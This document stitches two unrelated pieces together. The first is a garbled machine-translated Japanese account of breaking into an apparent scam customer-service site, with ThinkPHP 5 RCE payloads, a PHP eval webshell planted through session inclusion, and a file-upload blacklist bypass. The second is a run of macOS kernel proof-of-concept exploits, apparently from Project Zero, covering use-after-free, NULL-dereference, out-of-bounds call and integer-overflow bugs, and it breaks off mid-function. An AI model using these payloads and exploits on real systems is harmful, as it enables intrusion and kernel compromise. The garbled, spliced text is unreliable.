私は弱いパスワードを試してみましたが、ユーザー管理者さえいないことがわかりました。管理者はそれをよく知っています。

私は大切な辞書を取り出して破裂させましたが、既存のユーザーは見つかりませんでした。彼のユーザー名は電話番号または非常に長いユーザー名のいずれかだと思います。

背景を入力しても大丈夫ではないようです

その後、IPカウンターチェックを通じて、サイドステーションがなく、このサイトにはこのカスタマーサービスシステムのみがあることがわかりました。

ドメイン名をスキャンして、何も見つかりませんでした

ただし、ページの下には、AIカスタマーサービスPHPオンラインカスタマーサービスシステムが搭載されています。インターネットにソースコードがあるべきだと思うので、私はバイドゥに行き、本当にソースコードを持っています。1049983-20211227103711090-1473905400.png

ウェブサイトはTPセカンダリーに基づいて開発されていますが、TPのRCEはなくなりました。

ステップごとの監査は1つだけです

長い間検索した後、アプリケーション/管理者/コントローラー/event.phpファイルでブラックリストベースのアップロード機能uploadimg 1049983-20211227103711514-1594589625.pngを見つけました。

アップロード関数アップロードImgを定義し、ファイル名を取得する変数名を定義し、配列内のドットで分離し、検出として変数extを介して2番目の配列を取得します。ファイルがindex.htmlに渡されると、$ ext=html、htmlがブラックリストに含まれるため、アップロードは失敗します。ファイルがindex.jpg.php、$ ext=jpgに渡された場合、jpgはブラックリストに含まれていないため、正常にアップロードできます。

TPのルーティングルールによると、このアップロードポイントは/admin/event/uploadimgに配置する必要があります。

このページにアップロードポイントはありません。アップロードページを単独で構築するだけです

form action='http://ip/admin/event/uploadimg' method='post' enctype='multipart/form-data'

ラベル='file'chenguangカスタマーサービスのアップロード/ラベル

入力型='ファイル' name='editormd-image-file' id='editormd-image-file'

入力タイプ='送信' name='送信'値='送信'

/形状

index.php 1049983-20211227103712399-1033711018.pngをアップロードする場合

アップロードが失敗したことは事実です

index.jpg.php 1049983-20211227103712871-1961858419.pngをアップロードしている場合

正常にアップロードできます

カスタマーサービスサイト1049983-20211227103713396-2068556697.pngをご覧ください

jcに背景データをパッケージします

ここでは、秩序あるブラシを信じないようにみんなに促したいと思います。充電するように頼む人はお金を得ることができます。それらはすべて偽物です。一晩で金持ちになり、何かを利用することを考えないでください。世界には無料のランチはありません。1049983-20211227103713950-1759251530.png 1049983-20211227103714416-1909182695.png 1049983-20211227103714889-1568574889.pngをご覧ください。

これらの詐欺ギャングは正当化され、よく根付いており、ますます多くを埋めるように頼むだけです。彼らは典型的な豚を殺すゴミです

侵入概要:

1.テストアカウントを登録します

2エラーが報告された後、TP5.0.10であることがわかった

3. tp5rceを使用してphpinfoを表示します

S=Captcha

Post:

_method=__ constructmethod=getFilter []=call_user_funcget []=phpinfo

ハザード関数は無効になっていることがわかりました

4.TP5ログ包含とセッションインクルージョンをゲッシェルに使用します

5.セッションセッションを設定して、テンテンショントロイの木馬に渡す

?s=captcha

役職:

_method=__ constructfilter []=think \ session3:setmethod=getGet []=?PHP eval($ _ post ['x'])?server []=1

6.ファイルを使用してセッションファイルを含めます。 TP5のセッションファイルは通常/TMP未満で、ファイル名はsession_sessionidです

?s=captcha

役職:

_method=__ constructmethod=getFilter []=Think \ __ include_fileserver []=phpinfoget []=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3x=phpinfo();

7.アリの剣を通してシェルを接続し、ポストに渡されたパラメーターをアリの剣で接続されたHTTPボディに追加します。

8。バックグラウンドソースコードを使用して、カスタマーサービスの背景を発見します。

9.サービスの背景はAIカスタマーサービスPHPオンラインカスタマーサービスシステムであり、システムにファイルアップロードの脆弱性があることがわかりました。

/admin/event/uploadimg

form action='http://ip/admin/event/uploadimg' method='post' enctype='multipart/form-data'

ラベル='file'chenguangカスタマーサービスのアップロード/ラベル

入力型='ファイル' name='editormd-image-file' id='editormd-image-file'

入力タイプ='送信' name='送信'値='送信'

/形状

オリジナルリンク:https://xz.aliyun.com/t/9286

/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=565

Kernel UaF with IOAccelDisplayPipeUserClient2 with spoofed no more senders notifications

repro: while true; do ./iospoof_ig_4; done

Likely to crash in various ways; have observed NULL derefs and NX traps.

Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2
*/

// ianbeer
// clang -o iospoof_ig_4 iospoof_ig_4.c -framework IOKit
/*
Kernel UaF with IOAccelDisplayPipeUserClient2 with spoofed no more senders notifications

repro: while true; do ./iospoof_ig_4; done
*/ 

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

struct spoofed_notification {
  mach_msg_header_t header;
  NDR_record_t NDR;
  mach_msg_type_number_t no_senders_count;
};

struct spoofed_notification msg = {0};

void send_message() {
  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.header.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  send_message();
}

int main(int argc, char** argv) {
  char* service_name = "IntelAccelerator";
  int client_type = 4;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  IOServiceOpen(service, mach_task_self(), client_type, &conn);
  if (conn == MACH_PORT_NULL) {
    printf("can't connect to service\n");
    return 0;
  }

  pthread_t t;
  int arg = 0;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  // build the message:
  msg.header.msgh_size = sizeof(struct spoofed_notification);
  msg.header.msgh_local_port = conn;
  msg.header.msgh_remote_port = conn;
  msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.header.msgh_id = 0106;
  
  msg.no_senders_count = 1000;

  usleep(100000);

  start = 1;

  send_message();

  pthread_join(t, NULL);

  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=595

The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod.

In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206)
calls gstqConfigure which doesn't check whether the GSTContextKernel pointer is NULL, therefore by calling
this external method before calling any others which allocate the GSTContextKernel we can cause a kernel
NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads
to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141.

Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/

// ianbeer
/*
Exploitable kernel NULL dereference in IntelAccelerator::gstqConfigure

clang -o ig_gl_gst_null ig_gl_gst_null.c -framework IOKit -m32 -pagezero_size 0x0

The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod.

In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206)
calls gstqConfigure which doesn't check whether the GSTContextKernel pointer is NULL, therefor by calling
this external method before calling any others which allocate the GSTContextKernel we can cause a kernel
NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads
to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141.

Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = 'A';
  }

  CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);
  
  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 1, &conn); // type 1 == IGAccelGLContext
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);


  uint64_t* obj_ptr = malloc(0x1000);
  uint64_t* obj = malloc(0x1000);
  uint64_t* vtable = malloc(0x1000);
  uint64_t kernel_rip = 0xffff800041414141;

  vtable[0x70/8] = kernel_rip;
  *obj = (uint64_t)vtable;

  *obj_ptr = (uint64_t)obj;

  *((uint64_t*)0x28) = (uint64_t)obj_ptr;

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;

  inputScalarCnt = 0;
  inputStructCnt = 0;

  outputScalarCnt = 0;
  outputStructCnt = 0;

  inputStructCnt = 0x1000;

  err = IOConnectCallMethod(
   conn,
   0x206,
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
   return 0;
  }
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=580

The hv_space lock group gets an extra ref dropped when you kill a process with an AppleHV userclient;
one via IOService::terminateWorker calling the AppleHVClient::free method (which calls lck_rw_free on the 
lock group using the pointer hanging off the global _hv variable) and secondly via the hypervisor
machine_thread_destroy callback (hv_callback_thread_destroy) which also calls lck_rw_free with a lock group
pointer taken from _hv.

tested on OS X 10.11 ElCapitan (15a284) on MacBookAir 5,2
*/

//ianbeer

// boot-args: debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300 -zp -zc

/*
OS X Kernel UaF in hypervisor driver

The hv_space lock group gets an extra ref dropped (uaf) when you kill a process with an AppleHV userclient;
one via IOService::terminateWorker calling the AppleHVClient::free method (which calls lck_rw_free on the 
lock group using the pointer hanging off the global _hv variable) and secondly via the hypervisor
machine_thread_destroy callback (hv_callback_thread_destroy) which also calls lck_rw_free with a lock group
pointer taken from _hv.

tested on OS X 10.11 ElCapitan (15a284) on MacBookAir 5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>

int go() {
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleHV"));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  while(1) {
    io_connect_t conn;
    IOServiceOpen(service, mach_task_self(), 0, &conn);
    if (conn == MACH_PORT_NULL) {
      printf("can't connect to service\n");
      return 0;
    }

    uint64_t inputScalar[16];
    size_t inputScalarCnt = 0;

    uint8_t inputStruct[4096];
    size_t inputStructCnt = 0;

    uint64_t outputScalar[16] = {0};
    uint32_t outputScalarCnt = 16;

    char outputStruct[4096] = {0};
    size_t outputStructCnt = 4096;

    kern_return_t err = IOConnectCallMethod(
      conn,
      1,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);

    IOServiceClose(conn);
  }
}


int main(int argc, char** argv) {
  pid_t child = fork();
  if (child == 0) {
    go();
  } else {
    sleep(1);
    kill(child, 9);
    int sl;
    wait(&sl);
  }
  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=572

The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking
to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the
same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads
both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with
a count of 0xffffffff leading to memory corruption when trying to shift the array contents.

repro: while true; do ./iospoof_bluepacketlog; done

Tested on OS X 10.11 ElCapitan (15A284) on MacBookAir 5,2
*/

// ianbeer
// clang -o iospoof_bluepacketlog iospoof_bluepacketlog.c -framework IOKit
// boot-args debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300 -no-zp

/*
Spoofed no-more-senders notifications with IOBluetoothHCIPacketLogUserClient leads to unsafe parallel OSArray manipulation

The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking
to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the
same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads
both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with
a count of 0xffffffff leading to memory corruption when trying to shift the array contents.

repro: while true; do ./iospoof_bluepacketlog; done
*/ 

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

struct spoofed_notification {
  mach_msg_header_t header;
  NDR_record_t NDR;
  mach_msg_type_number_t no_senders_count;
};

struct spoofed_notification msg = {0};

void send_message() {
  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.header.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  send_message();
}

int main(int argc, char** argv) {
  char* service_name = "IOBluetoothHCIController";
  int client_type = 1;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  IOServiceOpen(service, mach_task_self(), client_type, &conn);
  if (conn == MACH_PORT_NULL) {
    printf("can't connect to service\n");
    return 0;
  }

  pthread_t t;
  int arg = 0;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  // build the message:
  msg.header.msgh_size = sizeof(struct spoofed_notification);
  msg.header.msgh_local_port = conn;
  msg.header.msgh_remote_port = conn;
  msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.header.msgh_id = 0106;
  
  msg.no_senders_count = 1000;

  usleep(100000);

  start = 1;

  send_message();

  pthread_join(t, NULL);

  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=569

IOBluetoothHCIUserClient uses an IOCommandGate to dispatch external methods; it passes a pointer to the structInput
of the external method as arg0 and ::SimpleDispatchWL as the Action. It neither passes nor checks the size of that structInput,
and SimpleDispatchWL goes on to read the field at +0x70 of the structInput:

__text:00000000000118EB                 mov     esi, [rbx+70h]      <-- rbx is structInput, size never checked so +0x70 can be OOB
__text:00000000000118EE                 test    esi, esi
__text:00000000000118F0                 mov     r13d, 0E00002C7h
__text:00000000000118F6                 js      loc_11C5B           <-- fail if negative
__text:00000000000118FC                 lea     rdx, _sRoutineCount
__text:0000000000011903                 cmp     esi, [rdx]
__text:0000000000011905                 jge     loc_11C5B           <-- fail if >= number of routines

This alone would be uninteresting, except that there is another fetch from rbx+0x70 which assumes the value hasn't changed:

__text:0000000000011995                 movsxd  rax, dword ptr [rbx+70h] <-- fetch OOB again
__text:0000000000011999                 mov     rcx, rax
__text:000000000001199C                 shl     rcx, 4
__text:00000000000119A0                 lea     rdx, _sRoutines
__text:00000000000119A7                 mov     r14d, [rdx+rcx+8]
__text:00000000000119AC                 cmp     r14d, 7
__text:00000000000119B0                 mov     r13d, 0E00002C2h
__text:00000000000119B6                 ja      loc_11C5B                <-- test that sRoutines[OOB].nParams is <= 7
__text:00000000000119BC                 mov     rcx, [rdx+rcx]
__text:00000000000119C0                 mov     [rbp+var_40], rcx        <-- save sRoutines[OOB].fptr into var_40

the code then sets the required registers/stack entries for the number of parameters and calls var_40:

__text:0000000000011B77                 mov     rdi, r15
__text:0000000000011B7A                 call    [rbp+var_40]

Therefore, by being able to change what follows the mach message corrisponding to this external method call in memory between the checks at +0x118eb
and the second fetch at +0x11995 we can defeat the bounds check and get a function pointer read out of bounds and called.

Tested on OS X ElCapitan 10.11 (15A284) on MacBookAir 5,2

Strongly recommended to use the gazalloc boot args as shown above to repro this!
*/

// ianbeer
// build: clang -o bluehci_oob_demux bluehci_oob_demux.c -framework IOKit
// boot-args: debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300

/*
Lack of bounds checking in IOBluetoothHCIUserClient external method dispatching allows arbitrary kernel code execution

IOBluetoothHCIUserClient uses an IOCommandGate to dispatch external methods; it passes a pointer to the structInput
of the external method as arg0 and ::SimpleDispatchWL as the Action. It neither passes nor checks the size of that structInput,
and SimpleDispatchWL goes on to read the field at +0x70 of the structInput:

__text:00000000000118EB                 mov     esi, [rbx+70h]      <-- rbx is structInput, size never checked so +0x70 can be OOB
__text:00000000000118EE                 test    esi, esi
__text:00000000000118F0                 mov     r13d, 0E00002C7h
__text:00000000000118F6                 js      loc_11C5B           <-- fail if negative
__text:00000000000118FC                 lea     rdx, _sRoutineCount
__text:0000000000011903                 cmp     esi, [rdx]
__text:0000000000011905                 jge     loc_11C5B           <-- fail if >= number of routines

This alone would be uninteresting, except that there is another fetch from rbx+0x70 which assumes the value hasn't changed:

__text:0000000000011995                 movsxd  rax, dword ptr [rbx+70h] <-- fetch OOB again
__text:0000000000011999                 mov     rcx, rax
__text:000000000001199C                 shl     rcx, 4
__text:00000000000119A0                 lea     rdx, _sRoutines
__text:00000000000119A7                 mov     r14d, [rdx+rcx+8]
__text:00000000000119AC                 cmp     r14d, 7
__text:00000000000119B0                 mov     r13d, 0E00002C2h
__text:00000000000119B6                 ja      loc_11C5B                <-- test that sRoutines[OOB].nParams is <= 7
__text:00000000000119BC                 mov     rcx, [rdx+rcx]
__text:00000000000119C0                 mov     [rbp+var_40], rcx        <-- save sRoutines[OOB].fptr into var_40

the code then sets the required registers/stack entries for the number of parameters and calls var_40:

__text:0000000000011B77                 mov     rdi, r15
__text:0000000000011B7A                 call    [rbp+var_40]

Therefore, by being able to change what follows the mach message corrisponding to this external method call in memory between the checks at +0x118eb
and the second fetch at +0x11995 we can defeat the bounds check and get a function pointer read out of bounds and called.

Tested on OS X ElCapitan 10.11 (15A284) on MacBookAir 5,2

Strongly recommended to use the gazalloc boot args as shown above to repro this!
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 1;
  memset(inputStruct, 'A', inputStructCnt);

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;
  
  err = IOConnectCallMethod(
    conn,
    21,
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 

  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=567

Kernel UaF due to audit session port failing to correctly account for spoofed no-more-senders notifications

Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2
*/


// ianbeer

/*
Kernel UaF due to audit session port failing to correctly account for spoofed no-more-senders notifications
*/

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <bsm/audit.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

struct spoofed_notification {
  mach_msg_header_t header;
  NDR_record_t NDR;
  mach_msg_type_number_t no_senders_count;
};

struct spoofed_notification msg = {0};

void send_message() {
  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.header.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  send_message();
}

int main(int argc, char** argv) {
  mach_port_t conn = audit_session_self();
  if (conn == MACH_PORT_NULL) {
    printf("can't get audit session port\n");
    return 0;
  }

  pthread_t t;
  int arg = 0;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  // build the message:
  msg.header.msgh_size = sizeof(struct spoofed_notification);
  msg.header.msgh_local_port = conn;
  msg.header.msgh_remote_port = conn;
  msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.header.msgh_id = 0106;
  
  msg.no_senders_count = 1000;

  usleep(100000);

  start = 1;

  send_message();

  pthread_join(t, NULL);

  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=566

Kernel UaF with IOAccelMemoryInfoUserClient with spoofed no more senders notifications

repro: while true; do ./iospoof_ig_7; done

Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2
*/

// ianbeer
// clang -o iospoof_ig_7 iospoof_ig_7.c -framework IOKit
/*
Kernel UaF with IOAccelMemoryInfoUserClient with spoofed no more senders notifications

repro: while true; do ./iospoof_ig_7; done
*/ 

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

struct spoofed_notification {
  mach_msg_header_t header;
  NDR_record_t NDR;
  mach_msg_type_number_t no_senders_count;
};

struct spoofed_notification msg = {0};

void send_message() {
  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.header.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  send_message();
}

int main(int argc, char** argv) {
  char* service_name = "IntelAccelerator";
  int client_type = 7;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  IOServiceOpen(service, mach_task_self(), client_type, &conn);
  if (conn == MACH_PORT_NULL) {
    printf("can't connect to service\n");
    return 0;
  }

  pthread_t t;
  int arg = 0;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  // build the message:
  msg.header.msgh_size = sizeof(struct spoofed_notification);
  msg.header.msgh_local_port = conn;
  msg.header.msgh_remote_port = conn;
  msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.header.msgh_id = 0106;
  
  msg.no_senders_count = 1000;

  usleep(100000);

  start = 1;

  send_message();

  pthread_join(t, NULL);

  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=543

NKE control sockets are documented here: https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/NKEConceptual/control/control.html

By default there are actually a bunch of these providers; they are however all only accessible to root. Nevertheless, on iOS and now (thanks to SIP)
OS X this is a real security boundary.

necp control sockets are implemented in necp.c. The messages themselves consist of a simple header followed by type-length-value entries.
The type field is a single byte and the length is a size_t (ie 8 bytes.)

by sending a packed with an id of NECP_PACKET_TYPE_POLICY_ADD we can reach the following loop:

  // Read policy conditions
  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);

    if (condition_size > 0) {
      conditions_array_size += (sizeof(u_int8_t) + sizeof(size_t) + condition_size);
    }
  }

The necp_packet_{find|get}_* functions cope gracefully if the final tlv is waaay bigger than the actual message (like 2^64-1 ;) )

This means that we can overflow conditions_array_size to anything we want very easily. In this PoC the packet contains three policy conditions:

one of length 1; one of length 1024 and one of length 2^64-1051;

later conditions_array_size is used as the size of a memory allocation:

  MALLOC(conditions_array, u_int8_t *, conditions_array_size, M_NECP, M_WAITOK);

There is then a memory copying loop operating on the undersized array:

  conditions_array_cursor = 0;
  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    u_int8_t condition_type = NECP_TLV_POLICY_CONDITION;
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
    if (condition_size > 0 && condition_size <= (conditions_array_size - conditions_array_cursor)) {   <-- (a)
      // Add type
      memcpy((conditions_array + conditions_array_cursor), &condition_type, sizeof(condition_type));
      conditions_array_cursor += sizeof(condition_type);

      // Add length
      memcpy((conditions_array + conditions_array_cursor), &condition_size, sizeof(condition_size));
      conditions_array_cursor += sizeof(condition_size);

      // Add value
      necp_packet_get_tlv_at_offset(packet, cursor, condition_size, (conditions_array + conditions_array_cursor), NULL);  <-- (b)

There is actually an extra check at (a); this is why we need the first policy_condition of size one (so that the second time through the
loop (conditions_array_size[1] - conditions_array_cursor[9]) will underflow allowing us to reach the necp_packet_get_tlv_at_offset call which will
then copy the second 1024 byte policy.

By contstructing the policy like this we can choose both the allocation size and the overflow amount, a nice primitive for an iOS kernel exploit :)

this will crash in weird ways due to the rather small overflow; you can mess with the PoC to make it crash more obviously! But just run this PoC a bunch
of times and you'll crash :)

Tested on MacBookAir 5,2 w/ OS X 10.10.5 (14F27)
*/

// ianbeer

/*
iOS and OS X kernel code execution due to integer overflow in NECP system control socket packet parsing

NKE control sockets are documented here: https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/NKEConceptual/control/control.html

By default there are actually a bunch of these providers; they are however all only accessible to root. Nevertheless, on iOS and now (thanks to SIP)
OS X this is a real security boundary.

necp control sockets are implemented in necp.c. The messages themselves consist of a simple header followed by type-length-value entries.
The type field is a single byte and the length is a size_t (ie 8 bytes.)

by sending a packed with an id of NECP_PACKET_TYPE_POLICY_ADD we can reach the following loop:

  // Read policy conditions
  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);

    if (condition_size > 0) {
      conditions_array_size += (sizeof(u_int8_t) + sizeof(size_t) + condition_size);
    }
  }

The necp_packet_{find|get}_* functions cope gracefully if the final tlv is waaay bigger than the actual message (like 2^64-1 ;) )

This means that we can overflow conditions_array_size to anything we want very easily. In this PoC the packet contains three policy conditions:

one of length 1; one of length 1024 and one of length 2^64-1051;

later conditions_array_size is used as the size of a memory allocation:

  MALLOC(conditions_array, u_int8_t *, conditions_array_size, M_NECP, M_WAITOK);

There is then a memory copying loop operating on the undersized array:

  conditions_array_cursor = 0;
  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    u_int8_t condition_type = NECP_TLV_POLICY_CONDITION;
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
    if (condition_size > 0 && condition_size <= (conditions_array_size - conditions_array_cursor)) {   <-- (a)
      // Add type
      memcpy((conditions_array + conditions_array_cursor), &condition_type, sizeof(condition_type));
      conditions_array_cursor += sizeof(condition_type);

      // Add length
      memcpy((conditions_array + conditions_array_cursor), &condition_size, sizeof(condition_size));
      conditions_array_cursor += sizeof(condition_size);

      // Add value
      necp_packet_get_tlv_at_offset(packet, cursor, condition_size, (conditions_array + conditions_array_cursor), NULL);  <-- (b)

There is actually an extra check at (a); this is why we need the first policy_condition of size one (so that the second time through the
loop (conditions_array_size[1] - conditions_array_cursor[9]) will underflow allowing us to reach the necp_packet_get_tlv_at_offset call which will
then copy the second 1024 byte policy.

By contstructing the policy like this we can choose both the allocation size and the overflow amount, a nice primitive for an iOS kernel exploit :)

this will crash in weird ways due to the rather small overflow; you can mess with the PoC to make it crash more obviously! But just run this PoC a bunch
of times and you'll crash :)

Tested on MacBookAir 5,2 w/ OS X 10.10.5 (14F27)
*/

#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/kern_control.h>
#include <sys/sys_domain.h>
#include <net/if.h>
#include <netinet/in_var.h>
#include <netinet6/nd6.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define CONTROL_NAME "com.apple.net.necp_control"

int ctl_open(void) {
  int           sock;
  int           error     = 0;
